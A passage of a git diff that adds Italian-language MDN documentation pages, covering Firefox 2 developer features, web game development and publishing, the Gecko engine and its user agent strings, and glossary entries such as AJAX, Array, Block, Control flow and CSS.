+ <dd>La persistenza dei dati permette alle applicazioni web di immagazzinare dati strutturati nel browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/SVG_in_Firefox">SVG in Firefox</a></dt>
+ <dd>Firefox 2 migliora il supporto a Scalable Vector Graphics (SVG), implementando l'elemento <code>&lt;textPath&gt;</code> e aggiungendo il supporto ad alcuni attributi precedentemente ignorati.</dd>
+</dl>
+
+<h3 id="Per_gli_sviluppatori_di_applicazioni_XUL_e_di_estensioni" name="Per_gli_sviluppatori_di_applicazioni_XUL_e_di_estensioni">Per gli sviluppatori di applicazioni XUL e di estensioni</h3>
+
+<dl>
+ <dt><a href="it/Session_restore_API">Session restore API</a></dt>
+ <dd>Aiuta a salvare e recuperare successivamente i dati di sessione in sessione.</dd>
+</dl>
+
+<dl>
+ <dt>Feed content access API</dt>
+ <dd><em>Questa API è ancora in stato di revisione; la documentazione verrà pubblicata in futuro.</em></dd>
+</dl>
+
+<dl>
+ <dt><a href="it/SAX">Supporto a SAX</a></dt>
+ <dd>API di un parser XML basata sugli eventi.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Installare_plugin_di_ricerca_dalle_pagine_web">Installare plugin di ricerca dalle pagine web</a></dt>
+ <dd>E' possibile installare in Firefox un nuovo motore di ricerca tramite JavaScript. Il plugin di ricerca può essere scritto utilizzando anche OpenSearch o il formato Sherlock.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/Aggiungere_fornitori_di_dati_anti-phishing">Aggiungere fornitori di dati anti-phishing</a></dt>
+ <dd>E' possibile migliorare la protezione anti-phishing aggiungendo alcuni fornitori di fati per la navigazione sicura.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/MozStorage">mozStorage</a></dt>
+ <dd>Firefox 2 introduce mozStorage, un'architettura di database basata su SqlLite.</dd>
+</dl>
+
+<dl>
+ <dt>Le pratiche migliori per il versioning delle estensioni</dt>
+ <dd>Come utilizzare i numeri di versione.</dd>
+</dl>
+
+<h2 id="Nuove_funzionalit.C3.A0_per_gli_utenti_finali" name="Nuove_funzionalit.C3.A0_per_gli_utenti_finali">Nuove funzionalità per gli utenti finali</h2>
+
+<p>Firefox 2 offre una versione migliorata dell'interfaccia utente impiegata nelle versioni precedenti, a cui sono state aggiunte varie caratteristiche di sicurezza finalizzate a rendere la vostra navigazione più semplice e piacevole di prima.</p>
+
+<h3 id="Esperienza_utente" name="Esperienza_utente">Esperienza utente</h3>
+
+<ul>
+ <li>Il <strong>controllo ortografico nelle aree di testo</strong> permette all'utente di compilare i form in maniera più sicura.</li>
+ <li>I <strong>microsommari</strong> consentono di creare bookmark che mostrino informazioni rilevate dal sito a cui si riferiscono. Queste informazioni sono aggiornate automaticamente.</li>
+ <li>L'interfaccia utente dell' <strong>Extension Manager</strong> è stata migliorata.</li>
+ <li>Il <strong>search engine manager</strong> permette di riordinare e rimuovere i motori di ricerca mostrati nella barra.</li>
+ <li>I miglioramenti al <strong>tabbed browsing</strong> comprendono un bottone di chiusura per ogni scheda, riapertura dell'ultima scheda aperta quando si chiude la scheda corrente e preferenze semplificate.</li>
+ <li>Il <strong>rilevamento automatico dei motori di ricerca</strong> propone all'utente di installare automaticamente nella barra di ricerca i siti visitati, se forniscono un plugin di ricerca.</li>
+ <li>I <strong>suggerimenti di ricerca</strong> sono dei suggerimenti che appaiono mentre si digitano i termini da ricercare.</li>
+</ul>
+
+<h3 id="Sicurezza_e_Privacy" name="Sicurezza_e_Privacy">Sicurezza e Privacy</h3>
+
+<ul>
+ <li><strong>Funzionalità anti-phishing</strong> per avvisare gli utenti se il sito web che si sta vedendo sembra contraffatto.</li>
+</ul>
+
+<h2 id="Argomenti_correlati" name="Argomenti_correlati">Argomenti correlati</h2>
+
+<ul>
+ <li><a href="it/Gecko">Gecko</a></li>
+ <li><a href="it/XULRunner">XULRunner</a></li>
+ <li><a href="it/Firefox_1.5_per_Sviluppatori">Firefox 1.5 per Sviluppatori</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/Firefox_2_for_developers", "fr": "fr/Firefox_2_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_2_for_developers", "pt": "pt/Firefox_2_para_desenvolvedores" } ) }}</p>
diff --git a/files/it/games/index.html b/files/it/games/index.html
new file mode 100644
index 0000000000..5a3c1d131c
--- /dev/null
+++ b/files/it/games/index.html
@@ -0,0 +1,93 @@
+---
+title: Sviluppo di giochi
+slug: Games
+tags:
+  - App
+  - Giochi
+  - Giochi HTML5
+  - Giochi JavaScript
+  - Sviluppo Giochi
+  - Web
+translation_of: Games
+---
+<div>{{GamesSidebar}}</div>
+
+<div class="summary">
+<p><span class="seoSummary">I giochi sono una delle attività più popolari nel mondo dei computer. Nuove tecnologie sono in costante arrivo per rendere possibile lo sviluppo di giochi migliori e con più grinta, che funzionino in ogni web-browser conforme agli standard.</span></p>
+</div>
+
+<div>{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Sviluppa_giochi_per_il_web">Sviluppa giochi per il web</h2>
+
+<p>Benvenuto al centro di sviluppo giochi MDN! In quest'area del sito forniamo risorse per gli sviluppatori web che vogliono sviluppare giochi. Nel menu principale a sinistra potrai trovare tanti tutorial utili e articoli - sentiti libero di esplorare.</p>
+
+<p>Abbiamo anche incluso una sezione di referenze, così che tu possa trovare facilmente informazioni sulle più comuni API usate nello sviluppo di giochi.</p>
+
+<div class="note">
+<p><strong style="border: 0px; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 14px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">Nota</strong><span style="background-color: #fff5cc; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">: Creare giochi sul web richiede la conoscenza di tecnologie come HTML, CSS, e JavaScript. La </span><a href="/en-US/docs/Learn" style="font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; color: rgb(33, 122, 192); text-decoration: none; margin: 0px; padding: 0px; border: 0px; font-family: 'open sans', arial, sans-serif;">Learning Area</a><span style="background-color: #fff5cc; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"> è un buon posto dove iniziare come le basi.</span></p>
+</div>
+</div>
+
+<div class="column-half">
+<h2 id="Trasferisci_giochi_nativi_sul_web">Trasferisci giochi nativi sul web</h2>
+
+<p>Se sei uno sviluppatore nativo (per esempio scrivi giochi in C++), e sei interessato a portare i tuoi giochi sul web, dovrai imparare di più sul nostro tool <a href="http://kripken.github.io/emscripten-site/index.html">Emscripten</a> - questo è un compilatore LLVM a JavaScript, che prende il bytecode LLVM (p.e. generato con C/C++ tramite Clang oppure da un altro linguaggio) e lo compila in <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a>, che può girare sul Web.</p>
+
+<p>Per iniziare, vedi:</p>
+
+<ul>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">About Emscripten</a> per un introduzione con dettagli di alto livello.</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">Download and Install</a> per installare il toolchain.</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/Tutorial.html">Emscripten Tutorial</a> per un tutorial dove impari come iniziare.</li>
+</ul>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Esempi">Esempi</h2>
+
+<p>Per una lista di esempi di giochi web, vedi la <a href="https://developer.mozilla.org/en-US/docs/Games/Examples">nostra pagina di esempi</a>. Dai anche un'occhiata a <a href="http://www.openwebgames.com/">openwebgames.com</a> per ulteriori risorse utili ed esempi!</p>
+</div>
+</div>
+
+<p><a href="http://www.openwebgames.com"><img alt="" src="https://mdn.mozillademos.org/files/12790/owg-logo-dark.svg" style="display: block; margin: 0px auto; width: 400px;"></a></p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="http://buildnewgames.com/">Crea nuovi giochi</a></dt>
+ <dd>Un sito collaborativo che presenta un ampio numero di tutorial sullo sviluppo di web game liberi. Non particolarmente attivo di recente, ha comunque alcune risorse carine.</dd>
+ <dt><a href="http://creativejs.com/">JS creativo</a> </dt>
+ <dd>Una collezione impressionante di tecnologie ed esperimenti JavaScript, non specifici per giochi, ma in ogni caso utili. Non particolarmente attivo di recente, ha comunque alcune risorse carine.</dd>
+ <dt><a href="http://gameprogrammingpatterns.com/">Modelli di programmazione per giochi</a></dt>
+ <dd>Un libro online scritto da Bob Nystrom, il quale discute i modelli di programma nel contesto dello sviluppo di giochi con l'intenzione di aiutare gli sviluppatori videoludici a produrre codici più effettivi ed efficienti.</dd>
+ <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt>
+ <dd>Newsletter settimanale sullo sviluppo di giochi in HTML5, inviato ogni venerdì. Contiene gli ultimi articoli, tutorial, tool e risorse.</dd>
+ <dt><a href="http://www.html5gamedevs.com/">HTML5 Game Devs Forum</a></dt>
+ <dd>Forum per sviluppatori, creatori di framework e publishers. Fai domande, ricevi feedback, aiuta gli altri.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="http://html5gameengine.com/">HTML5 Game Engine</a></dt>
+ <dd>Lista dei framework HTML5 per giochi più popolari con rating, caratteristiche ed anteprime.</dd>
+ <dt><a href="http://www.jsbreakouts.org/">JSBreakouts</a></dt>
+ <dd>Compara JavaScript Breakout ricerca in differenti frameworks per aiutarti a scegliere quello giusto per te.</dd>
+ <dt><a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a></dt>
+ <dd>Tutorials e articoli sullo sviluppo di giochi in generale.</dd>
+ <dt><a href="http://html5devstarter.enclavegames.com/">HTML5 Gamedev Starter</a></dt>
+ <dd>Starter per i nuovi sviluppatori di giochi, un'accurata lista di link vari e risorse utili nel web.</dd>
+ <dt><a href="http://js13kgames.com/">js13kGames</a></dt>
+ <dd>Una sfida di programmazione JavaScript per sviluppatori di giochi HTML5 con un limite di dimensione file pari a 13 kilobytes. Tutti i giochi inviati sono a disposizione in forma leggibile su GitHub.</dd>
+ <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt>
+ <dd>Categoria giochi sul Blog Mozilla Hacks che contiene interessanti articoli correlati allo sviluppo di giochi.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/games/publishing_games/index.html b/files/it/games/publishing_games/index.html
new file mode 100644
index 0000000000..d24458f680
--- /dev/null
+++ b/files/it/games/publishing_games/index.html
@@ -0,0 +1,27 @@
+---
+title: Pubblicare un gioco
+slug: Games/Publishing_games
+tags:
+  - Distribuzione
+  - HTML5
+  - JavaScript
+  - Monetizzazione
+  - Pubblicare
+  - Videgiochi
+translation_of: Games/Publishing_games
+---
+<div>{{GamesSidebar}}</div>
+
+<p class="summary">I giochi in HTML5 hanno un grande vantaggio in termini di pubblicazione e distribuzione rispetto a quelli native, poiché si può trarre vantaggio da come il Web sia veramente multipiattaforma. Si è infatti liberi di distribuire, pubblicizzare e monetizzare il proprio gioco direttamente sul Web, invece che ritrovarsi con ogni versione del gioco venduta da una singola azienda solo nei suoi negozi. <span class="seoSummary">Questa serie di articoli passa in rassegna le varie opzioni che si hanno nella pubblicazione e distribuzione di un gioco, e modi in cui guadagnarci mentre si aspetta che diventi famoso.</span></p>
+
+<h2 id="Distribuzione_del_gioco">Distribuzione del gioco</h2>
+
+<p>Bene, hai seguito uno <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">tutorial</a> o <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">due</a> e hai creato un gioco in HTM5, in <a href="/en-US/docs/Games/Publishing_games/Game_distribution">questa pagina</a> troverai tutto quelle che ti serve sapere su come distribuire il tuo gioco appena creato. Ad esempio puoi metterlo online per conto tuo, oppure affidarti a piattaforme apposite, alcune chiuse come Google Play o l'App Store iOS, altre in cui il gioco può essere caricato liberamente</p>
+
+<h2 id="Promozione_del_gioco">Promozione del gioco</h2>
+
+<p>Sviluppare e finire un gioco non basta, bisogna anche far sapere al mondo che è divertente, che piacerà alla gente e che è in vendita. Ci sono molti modi di <a href="/en-US/docs/Games/Publishing_games/Game_promotion">pubblicizzare un gioco</a> e alcuni di questi sono gratis, quindi anche uno sviluppatore indie privo di budget può riuscire a far sapere a molte persone del proprio gioco. Promuovere un gioco rende più facile guadagnarci in futuro, è quindi importante farlo in modo efficace.</p>
+
+<h2 id="Monetizzare_un_gioco">Monetizzare un gioco</h2>
+
+<p>Quando si spende tanto tempo nella produzione, pubblicazione e promozione di un gioco, è normale che si arrivi a pensare di volerci anche guadagnare qualcosa. <a href="/en-US/docs/Games/Publishing_games/Game_monetization">Questa pagnina</a> è fondamentale per chiunque voglia diventare uno sviluppatore indipendente in grado di supportarsi coi propri giochi, se hai intenzione di lanciarti seriamente in questa impresa, leggi di seguito per vedere quali sono le opzioni a tua disposizione. La tecnologia ormai è pronta, si tratta solo di scegliere il giusto approccio.</p>
diff --git a/files/it/gecko/index.html b/files/it/gecko/index.html
new file mode 100644
index 0000000000..66b64e12ab
--- /dev/null
+++ b/files/it/gecko/index.html
@@ -0,0 +1,71 @@
+---
+title: Gecko
+slug: Gecko
+tags:
+  - Gecko
+translation_of: Mozilla/Gecko
+---
+<div class="summary">
+ <p><span class="seoSummary"><strong>Gecko è il nome del motore di layout sviluppato dal Mozilla Project</strong>. Originariamente era chiamato NGLayout. La funzione di Gecko è quella di leggere contenuti web, come <a href="/docs/HTML" title="HTML">HTML</a>, <a href="/docs/CSS" title="CSS">CSS</a>, <a href="/docs/XUL" title="XUL">XUL</a>, <a href="/docs/JavaScript" title="JavaScript">JavaScript</a> e renderizzarli sullo schermo dell'utente oppure stamparli. Nelle applicazioni basate su XUL, Gecko è utilizzato anche per renderizzare le interfacce utente delle applicazioni.</span></p>
+</div>
+<p>Gecko è usato in molte applicazioni, ad esempio alcuni browser, come Firefox, Seamonkey ecc. (per una lista completa, fare riferimento all'<a class="external external-icon" href="http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29#Web_browsers" rel="external" title="http://en.wikipedia.org/wiki/Gecko_(layout_engine)#Web_browsers">Articolo di Wikipedia su Gecko</a>.) I prodotti che usano la stessa versione di Gecko supportano gli stessi standard.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentazione">Documentazione</h2>
+    <dl>
+     <dt>
+      <a href="/docs/Gecko_FAQ" title="Gecko_FAQ">FAQ di Gecko</a></dt>
+     <dd>
+      Domande frequenti su Gecko.</dd>
+     <dt>
+      <a href="/docs/Gecko_DOM_Reference" title="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference">Riferimento al DOM di Gecko</a></dt>
+     <dd>
+      Riferimento al DOM.</dd>
+     <dt>
+      <a href="/docs/Gecko-Specific_DOM_Events" title="Gecko/Gecko event reference">Riferimento agli eventi di Gecko</a></dt>
+     <dd>
+      Riferimento agli eventi utilizzati all'interno di Gecko e delle applicazioni di Mozilla; per gli eventi DOM dello standard web, vedere <a href="/docs/DOM/DOM_event_reference" title="DOM/DOM event reference">Riferimento agli eventi DOM</a>.</dd>
+     <dt>
+      <a href="/docs/Gecko/Versions" title="Gecko/Versions">Versioni di Gecko e versioni delle applicazioni</a></dt>
+     <dd>
+      Versioni di Gecko e le applicazioni in cui sono utilizzate.</dd>
+     <dt>
+      <a class="external external-icon" href="/docs/Introduction_to_Layout_in_Mozilla" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Layout_in_Mozilla">Introduzione al Layout in Mozilla</a></dt>
+     <dd>
+      Discussione tecnica sul layout.</dd>
+     <dt>
+      <a href="/docs/Embedding_Mozilla" title="Embedding_Mozilla">Includere Mozilla</a></dt>
+     <dd>
+      Utilizzare Gecko all'interno delle proprie applicazioni.</dd>
+     <dt>
+      <a href="/docs/Character_Sets_Supported_by_Gecko" title="Character Sets Supported by Gecko">Set di caratteri supportati da Gecko</a></dt>
+     <dd>
+      Lista dei set di caratteri supportati da Gecko.</dd>
+     <dt>
+      <a href="/docs/Gecko/HTML_parser_threading" title="Gecko/HTML_parser_threading">Threading del parser HTML</a></dt>
+     <dd>
+      Descrizione del multithreading nel parser HTML.</dd>
+     <dt>
+      {{interwiki('wikimo', 'Gecko:Home_Page', 'Home Page di Gecko su MozillaWiki')}}</dt>
+     <dd>
+      Quartier generale degli sviluppatori attivi. Tabelle di marcia e risorse più aggiornate.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/docs/tag/Gecko" title="tag/Gecko">Vedi tutti...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Comunità">Comunità</h2>
+    <ul>
+     <li>Vedi i Forum di Mozilla... {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}</li>
+    </ul>
+    <h2 class="Related_Topics" id="Argomenti_correlati">Argomenti correlati</h2>
+    <dl>
+     <dd>
+      <a href="/docs/Web_Standards" title="Web_Standards">Standard Web</a>, <a href="/docs/XUL" title="XUL">XUL</a>, <a href="/docs/Embedding_Mozilla" title="Embedding_Mozilla">Includere Mozilla</a>, <a href="/docs/Developer_Guide" title="Developing_Mozilla">Sviluppare Mozilla</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/gli_user_agent_di_gecko/index.html b/files/it/gli_user_agent_di_gecko/index.html
new file mode 100644
index 0000000000..0c4a3c17e2
--- /dev/null
+++ b/files/it/gli_user_agent_di_gecko/index.html
@@ -0,0 +1,40 @@
+---
+title: Gli User Agent di Gecko
+slug: Gli_User_Agent_di_Gecko
+translation_of: Web/HTTP/Headers/User-Agent/Firefox
+---
+<p>Lista degli user agent rilasciati da Netscape e AOL basati su Gecko™.</p>
+
+<h3 id="Uso_appropriato" name="Uso_appropriato">Uso appropriato</h3>
+
+<p>Mozilla consiglia di non utilizzare le stringhe User Agent come mezzo primario di identificazione del browser. Si veda <a href="it/Identificazione_del_browser_e_supporto_cross_browser">Identificazione del browser e supporto cross browser</a> per uno sguardo in profondità ai vari approcci per la rilevazione del browser.</p>
+
+<p>In particolare, Mozilla raccomanda di utilizzare lo user agent solo per l'identificazione lato server. Se il codice già esistente per l'identificazione lato client utilizza lo user agent, è possibile semplicemente cercare la stringa "Gecko" per sapere se il browser è basato su questo motore.</p>
+
+<p>Per l'identificazione di un browser che utilizza Gecko, è possibile utilizzare l'oggetto <a href="it/Referenza_DOM/navigator">navigator</a>.</p>
+
+<h3 id="Gli_User_Agent_di_Gecko" name="Gli_User_Agent_di_Gecko">Gli User Agent di Gecko</h3>
+
+<p>Si veda <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">mozilla.org's user-agent strings reference</a> per i valori specifici delle voci<em>Platform</em> ,<em>Security</em> ,<em>OS-or-CPU</em> e<em>Localization</em> .</p>
+
+<ul>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20030208 Netscape/7.02</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20021120 Netscape/7.01</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.1) Gecko/20020823 Netscape/7.0</li>
+ <li>Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020730 AOL/7.0</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.2) Gecko/20020220 CS 2000 7.0/7.0
+  <ul>
+   <li>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.2) Gecko/20020502 CS 2000 7.0/7.0</li>
+  </ul>
+ </li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1</li>
+ <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.2) Gecko/20010726 Netscape6/6.1</li>
+</ul>
+
+<p>Per ulteriori dettagli sulle versioni di Netscape e Mozilla, si veda <a class="external" href="http://www.mozilla.org/releases/cvstags.html">mozilla.org cvstags reference</a>.</p>
+
+<p>{{ languages( { "ja": "ja/Gecko_User_Agent_Strings", "en": "en/Gecko_User_Agent_Strings", "fr": "fr/Les_cha\u00eenes_UserAgent_de_Gecko" } ) }}</p>
diff --git a/files/it/glossary/ajax/index.html b/files/it/glossary/ajax/index.html
new file mode 100644
index 0000000000..f0228e49e6
--- /dev/null
+++ b/files/it/glossary/ajax/index.html
@@ -0,0 +1,29 @@
+---
+title: AJAX
+slug: Glossary/AJAX
+tags:
+  - AJAX
+  - CodingScripting
+  - Glossary
+  - Infrastructure
+  - 'l10n:priority'
+translation_of: Glossary/AJAX
+---
+<p>AJAX (Asynchronous {{glossary("JavaScript")}} And {{glossary("XML")}}) è una pratica di programmazione che combina {{glossary("HTML")}}, {{glossary("CSS")}}, JavaScript, il {{glossary("DOM")}}, e l'{{glossary("oggetto")}} <code>XMLHttpRequest</code> per costruire pagine web complesse. AJAX permette di aggiornare singole parti di una pagina, invece di doverla ricaricare completamente. Inoltre consente di lavorare in maniera asincrona: ciò significa che il tuo codice continua ad essere eseguito anche durante l'aggiornamento di quella parte della pagina (al contrario di un'esecuzione sincrona, che blocca il tuo codice finchè l'aggiornamento non è stato completato)</p>
+
+<h2 id="Approfondimenti">Approfondimenti</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "AJAX")}} su Wikipedia</li>
+ <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Comunicazioni sincrone vs. Asincrone</a></li>
+</ul>
+
+<h3 id="Informazioni_tecniche">Informazioni tecniche</h3>
+
+<ul>
+ <li>L'oggetto {{domxref("XMLHttpRequest")}}.</li>
+ <li><a href="/en-US/docs/AJAX">La documentazione di MDN su AJAX</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch">Uso di Fetch API</a></li>
+</ul>
diff --git a/files/it/glossary/array/index.html b/files/it/glossary/array/index.html
new file mode 100644
index 0000000000..5d78e2ebfc
--- /dev/null
+++ b/files/it/glossary/array/index.html
@@ -0,0 +1,28 @@
+---
+title: Array
+slug: Glossary/array
+translation_of: Glossary/array
+---
+<p>Un <em>array</em> è una raccolta ordinata di dati (sia {{Glossary("primitive")}} che {{Glossary("object")}} a seconda del linguaggio). Gli array sono utilizzati per immagazzinare valori mutipli in una singola variabile. In comparazione con una variabile che invece può contenere  un solo valore. </p>
+
+<p>Ogni elemento in un array ha un numero collegato ad esso, chiamato indice numerico, che ne permette l'accesso. In JavaScript, gli array iniziano all'indice zero e possono essere manipolati con vari {{Glossary("Method", "methods")}}. </p>
+
+<p>Aspetto di un array in JavaScript:</p>
+
+<pre>var myArray = [1, 2, 3, 4];
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+//Arrays in JavaScript can hold different types of data, as shown above.</pre>
+
+<h2 id="Apprendi_di_più">Apprendi di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Array data structure", "Array")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Riferimento_tecnico">Riferimento tecnico</h3>
+
+<ul>
+ <li>JavaScript {{jsxref("Array")}} on MDN</li>
+</ul>
diff --git a/files/it/glossary/block/css/index.html b/files/it/glossary/block/css/index.html
new file mode 100644
index 0000000000..0b6828a5e4
--- /dev/null
+++ b/files/it/glossary/block/css/index.html
@@ -0,0 +1,16 @@
+---
+title: Blocco (CSS)
+slug: Glossary/Block/CSS
+translation_of: Glossary/Block/CSS
+---
+<p>Un <strong>blocco</strong> in una pagina web è un {{glossary("HTML")}} {{glossary("element")}} che occupa una linea intera, quindi si troverà al di sotto dell'elemento che lo precede e sopra l'elemento successivo(comunemente detto <em>block-level element).Per esempio, un elemento </em>{{htmlelement("p")}} è di base un <em>block-level element</em>, invece un elemento {{htmlelement("a")}} è un <em>inline element</em> — infatti puoi inserire molti link uno dopo l'eltro nel tuo sorgente HTML e, visualizzando la pagina, loro si posizioneranno sulla stessa linea.</p>
+
+<p>Usando la proprietà {{cssxref("display")}} puoi scegliere come mostrare l'elemento, <em>inline</em>, come un blocco o in altri modi. I <strong>blocchi</strong> sono anche soggetti agli effetti degli schemi di posizionamento e all'uso della proprietà {{cssxref("position")}}.</p>
+
+<h2 id="Per_saperne_di_più">Per saperne di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Visual formatting model</a></li>
+</ul>
diff --git a/files/it/glossary/block/index.html b/files/it/glossary/block/index.html
new file mode 100644
index 0000000000..8f17177e82
--- /dev/null
+++ b/files/it/glossary/block/index.html
@@ -0,0 +1,13 @@
+---
+title: Block
+slug: Glossary/Block
+tags:
+  - Disambiguation
+  - Glossary
+  - NeedsTranslation
+  - TopicStub
+translation_of: Glossary/Block
+---
+<p>The term <strong>block</strong> can have several meanings depending on the context. It may refer to:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
diff --git a/files/it/glossary/control_flow/index.html b/files/it/glossary/control_flow/index.html
new file mode 100644
index 0000000000..92485dd09c
--- /dev/null
+++ b/files/it/glossary/control_flow/index.html
@@ -0,0 +1,50 @@
+---
+title: Controllo del flusso
+slug: Glossary/Control_flow
+tags:
+  - Codice Javascript
+  - Controllo di Flussi
+  - Glossário
+  - JavaScript
+translation_of: Glossary/Control_flow
+---
+<p>Il flusso di controllo è l'ordine in cui il computer esegue le istruzioni in uno script.</p>
+
+<p>Il codice viene eseguito in ordine dalla prima riga del file all'ultima riga, a meno che il computer non attraversi le strutture (estremamente frequenti) che modificano il flusso di controllo, ad esempio condizionali e loop.</p>
+
+<p>Ad esempio, immagina uno script utilizzato per convalidare i dati utente da un modulo di pagina web. </p>
+
+<p>Lo script invia i dati convalidati, ma se l'utente, ad esempio, lascia vuoto un campo obbligatorio, lo script chiede di riempirlo. Per fare ciò, lo script utilizza un {{Glossary("Conditional", "conditional")}} struttura o <code>if...else</code>, in modo che il codice venga eseguito a seconda che il modulo sia completo o meno:</p>
+
+<pre>if (field==empty) {
+    promptUser();
+} else {
+    submitForm();
+}
+</pre>
+
+<p>Uno script tipico in {{glossary("JavaScript")}} o {{glossary("PHP")}} (e simili) include molte strutture di controllo, inclusi i condizionali, {{Glossary("Loop", "loops")}} e {{Glossary("Function", "functions")}}. Parti di uno script possono anche essere impostate per essere eseguite quando {{Glossary("Event", "events")}} si verificano.</p>
+
+<p>Ad esempio, l'estratto di cui sopra potrebbe trovarsi all'interno di una funzione che viene eseguita quando l'utente fa clic sul pulsante Invia per il modulo. La funzione potrebbe anche includere un ciclo, che scorre tutti i campi nel modulo, controllandoli uno a turno. Guardando indietro al codice nelle sezioni if e else, le righe promptUser e submitForm potrebbero anche essere chiamate ad altre funzioni nello script. Come potete vedere, le strutture di controllo possono dettare flussi di elaborazione complessi anche con poche righe di codice.</p>
+
+<p>Flusso di controllo significa che quando leggi uno script, non solo devi leggere dall'inizio alla fine, ma anche esaminare la struttura del programma e il suo impatto sull'ordine di esecuzion.</p>
+
+<h2 id="Per_saperne_di_più">Per saperne di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Control flow")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Riferimento_tecnico">Riferimento tecnico</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference#Control_flow">JavaScript Reference - Control flow</a> on MDN</li>
+</ul>
+
+<h3 id="Impara_al_riguardo">Impara al riguardo</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Statements">Statements (Control flow)</a> on MDN</li>
+</ul>
diff --git a/files/it/glossary/css/index.html b/files/it/glossary/css/index.html
new file mode 100644
index 0000000000..f97042c554
--- /dev/null
+++ b/files/it/glossary/css/index.html
@@ -0,0 +1,49 @@
+---
+title: CSS
+slug: Glossary/CSS
+tags:
+  - CSS
+  - CodingScripting
+  - Glossary
+  - Web
+  - 'l10n:priority'
+translation_of: Glossary/CSS
+---
+<p><strong>CSS </strong>(Cascading Style Sheets) è un linguaggio dichiarativo che controlla l'aspetto delle pagine web nel {{glossary("browser")}}. Il browser applica le dichiarazioni di stile CSS agli elementi selezionati per mostrarli correttamente. Una dichiarazione di stile contiene gli attributi e i loro valori, che determinano come una pagina web appare.</p>
+
